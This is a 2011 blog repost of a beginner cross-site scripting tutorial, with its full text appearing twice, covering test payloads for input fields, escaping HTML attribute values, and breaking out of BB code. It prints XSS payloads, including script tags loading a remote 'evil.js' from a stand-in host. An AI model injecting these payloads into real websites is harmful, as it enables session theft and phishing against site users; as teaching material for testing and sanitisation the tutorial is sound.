Tuesday, 13 December 2011
Art of hacking 3 - spyd3rm4n's guide to hacking
This series of articles can be very useful for many beginners out there but after the thedefaced and darkmindz went down, I haven't really seen these articles anywhere else. So I thought to share this article over here. Its NOT written by me and I would like to provide the full credit to the original author as well.
Previous articles:
Part 1
Part 2
spyd3rm4n's guide to XSS Injection
Part 3
[0x01] XSS_Definition
[0x02] Pen-Testing
[0x03] Common Fields
[0x04] Escaping_BB_Code
[0x05] Image_XSS
Sub XSS_Defnition{
Cross-site scripting (XSS) is a type of computer security vulnerability typically found in web applications which allow code injection by malicious web users into the web pages viewed by other users. Examples of such code include HTML code and client-side scripts. An exploited cross-site scripting vulnerability can be used by attackers to bypass access controls such as the same origin policy. Recently, vulnerabilities of this kind have been exploited to craft powerful phishing attacks and browser exploits. Cross-site scripting was originally referred to as CSS, although this usage has been largely discontinued.
-Taken from Wikipedia Wikipedia if you want to read more.
}
Sub Pen-Testing{
Pen-Testing, short for Penetration Testing. Pen-testing with XSS can be very easy, or very hard. It depends on the person doing this. Some common queries when pen-testing a field can include but are not limited to:
<script>alert(1)</script>
<script language="javascript">alert(1)</script>
<script src="http://site.com/evil.js">
<img src="http://site.com/evil.js">
A great site to find some of the most useful queries it http://ha.ckers.org/xss.html
Now, once you've tested the fields, if the following page returned contains any sort of popup/javascript. You know it's vulnerable.
}
Sub Common_Fields{
Some of the most common fields that I have noticed are search fields. These will most likely return the following page showing the input.
Example: I search for "Orson Wells" and the page returned: 0 Results for query "Orson Wells" or something of that sort.
There are simple ways to get around this, since I am a php coder, my favorite way is the htmlentities(), you can also use strip_tags().
Some other search engines might not show what you searched for on the page itself, but in the field, the value is still there.
If this is the case, you can search for '"/></>[XSS]
this should escape the html field value, if it is not sanitized correctly and execute the [XSS] on the page.
Basically, any field that asks for user input that is either POST or GET and is in the source of the following page, can be cross-site scripted if not properly sanitized.
}
Sub Escaping_BB_Code{
This is one of my favorite ways to XSS a site. Some people decide to create their own BB code or use on that is poorly sanitized. This can be very easy to exploit.
Let's say there is an option to make my font red using hte [font color="red"] BB code.
Well, if I post a message with [font color="red"]hi[/font] and I look at the next page's source code, I see <font color="red">hi</font>,
I will re-post using
[font color="red"></font><script>alert(/hi/)</script>]hi[/font]
And if it is poorly sanitized, the page following it would contain an alert box saying /hi/.
There are so many different ways to escape BB code it is almost too easy. Some other sites have [IMG]. This one can be easy also.
[IMG]http://site.com/image"></><script src=http://site.com/evil.js>[/IMG]
would have
<img src="http://site.com/image"></><script src=http://site.com/evil.js>
}
Sub Image_XSS{
This is probably the best discovery to XSS since, whenever. With this, you can place javascript inside an image and have it execute in Internet Explorer.
Reffer to: http://milw0rm.com/video/watch.php?id=58
}
Previous articles:
Part 1
Part 2
spyd3rm4n's guide to XSS Injection
Part 3
[0x01] XSS_Definition
[0x02] Pen-Testing
[0x03] Common Fields
[0x04] Escaping_BB_Code
[0x05] Image_XSS
Sub XSS_Defnition{
Cross-site scripting (XSS) is a type of computer security vulnerability typically found in web applications which allow code injection by malicious web users into the web pages viewed by other users. Examples of such code include HTML code and client-side scripts. An exploited cross-site scripting vulnerability can be used by attackers to bypass access controls such as the same origin policy. Recently, vulnerabilities of this kind have been exploited to craft powerful phishing attacks and browser exploits. Cross-site scripting was originally referred to as CSS, although this usage has been largely discontinued.
-Taken from Wikipedia Wikipedia if you want to read more.
}
Sub Pen-Testing{
Pen-Testing, short for Penetration Testing. Pen-testing with XSS can be very easy, or very hard. It depends on the person doing this. Some common queries when pen-testing a field can include but are not limited to:
<script>alert(1)</script>
<script language="javascript">alert(1)</script>
<script src="http://site.com/evil.js">
<img src="http://site.com/evil.js">
A great site to find some of the most useful queries it http://ha.ckers.org/xss.html
Now, once you've tested the fields, if the following page returned contains any sort of popup/javascript. You know it's vulnerable.
}
Sub Common_Fields{
Some of the most common fields that I have noticed are search fields. These will most likely return the following page showing the input.
Example: I search for "Orson Wells" and the page returned: 0 Results for query "Orson Wells" or something of that sort.
There are simple ways to get around this, since I am a php coder, my favorite way is the htmlentities(), you can also use strip_tags().
Some other search engines might not show what you searched for on the page itself, but in the field, the value is still there.
If this is the case, you can search for '"/></>[XSS]
this should escape the html field value, if it is not sanitized correctly and execute the [XSS] on the page.
Basically, any field that asks for user input that is either POST or GET and is in the source of the following page, can be cross-site scripted if not properly sanitized.
}
Sub Escaping_BB_Code{
This is one of my favorite ways to XSS a site. Some people decide to create their own BB code or use on that is poorly sanitized. This can be very easy to exploit.
Let's say there is an option to make my font red using hte [font color="red"] BB code.
Well, if I post a message with [font color="red"]hi[/font] and I look at the next page's source code, I see <font color="red">hi</font>,
I will re-post using
[font color="red"></font><script>alert(/hi/)</script>]hi[/font]
And if it is poorly sanitized, the page following it would contain an alert box saying /hi/.
There are so many different ways to escape BB code it is almost too easy. Some other sites have [IMG]. This one can be easy also.
[IMG]http://site.com/image"></><script src=http://site.com/evil.js>[/IMG]
would have
<img src="http://site.com/image"></><script src=http://site.com/evil.js>
}
Sub Image_XSS{
This is probably the best discovery to XSS since, whenever. With this, you can place javascript inside an image and have it execute in Internet Explorer.
Reffer to: http://milw0rm.com/video/watch.php?id=58
}
Labels:
cross site scripting,
hacking,
tutorial,
xss
Bookmark this post:blogger tutorials
Social Bookmarking Blogger Widget |
Art of hacking 3 - spyd3rm4n's guide to hacking
2011-12-13T01:42:00+05:45
Cool Samar
cross site scripting|hacking|tutorial|xss|
Subscribe to:
Post Comments (Atom)